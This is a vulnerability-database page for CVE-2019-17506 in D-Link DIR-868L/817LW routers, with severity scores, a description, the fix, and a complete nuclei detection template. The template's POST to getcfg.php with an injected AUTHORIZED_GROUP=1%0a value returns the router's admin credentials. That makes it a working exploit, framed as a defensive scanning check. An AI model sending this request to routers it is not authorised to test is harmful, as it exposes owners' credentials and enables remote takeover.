HexBrain

Browse / CVEs / CVE-2019-17506

CVE-2019-17506· dlink / dir-868l b1 firmware· CWE-306

D-Link DIR-868L/817LW - Information Disclosure

criticalseverity
9.8CVSS score
56.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

D-Link DIR-868L B1-2.03 and DIR-817LW A1-1.04 routers are vulnerable to information disclosure vulnerabilities because certain web interfaces do not require authentication. An attacker can get the router's username and password (and other information) via a DEVICE.ACCOUNT value for SERVICES in conjunction with AUTHORIZED_GROUP=1%0a to getcfg.php. This could be used to control the router remotely.

Impact

An attacker can exploit this vulnerability to gain access to sensitive information, such as router configuration settings and credentials.

Fix

Apply the latest firmware update provided by D-Link to fix the information disclosure vulnerability.

How to confirm it

Send: POST {{BaseURL}}/getcfg.php
Positive when: contains "</password>" and "DEVICE.ACCOUNT" AND status 200

Run it with nuclei: nuclei -id CVE-2019-17506 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-17506

info:
  name: D-Link DIR-868L/817LW - Information Disclosure
  author: pikpikcu
  severity: critical
  description: |
    D-Link DIR-868L B1-2.03 and DIR-817LW A1-1.04 routers are vulnerable to information disclosure vulnerabilities because certain web interfaces do not require authentication. An attacker can get the router's username and password (and other information) via a DEVICE.ACCOUNT value for SERVICES in conjunction with AUTHORIZED_GROUP=1%0a to getcfg.php. This could be used to control the router remotely.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, such as router configuration settings and credentials.
  remediation: |
    Apply the latest firmware update provided by D-Link to fix the information disclosure vulnerability.
  reference:
    - https://github.com/dahua966/Routers-vuls/blob/master/DIR-868/name%26passwd.py
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17506
    - https://github.com/openx-org/BLEN
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/SexyBeast233/SecBooks
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-17506
    cwe-id: CWE-306
    epss-score: 0.56386
    epss-percentile: 0.99063
    cpe: cpe:2.3:o:dlink:dir-868l_b1_firmware:2.03:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dlink
    product: dir-868l_b1_firmware
  tags: cve,cve2019,dlink,router,disclosure,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/getcfg.php"

    body: |
      SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a

    headers:
      Content-Type: text/xml

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</password>"
          - "DEVICE.ACCOUNT"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from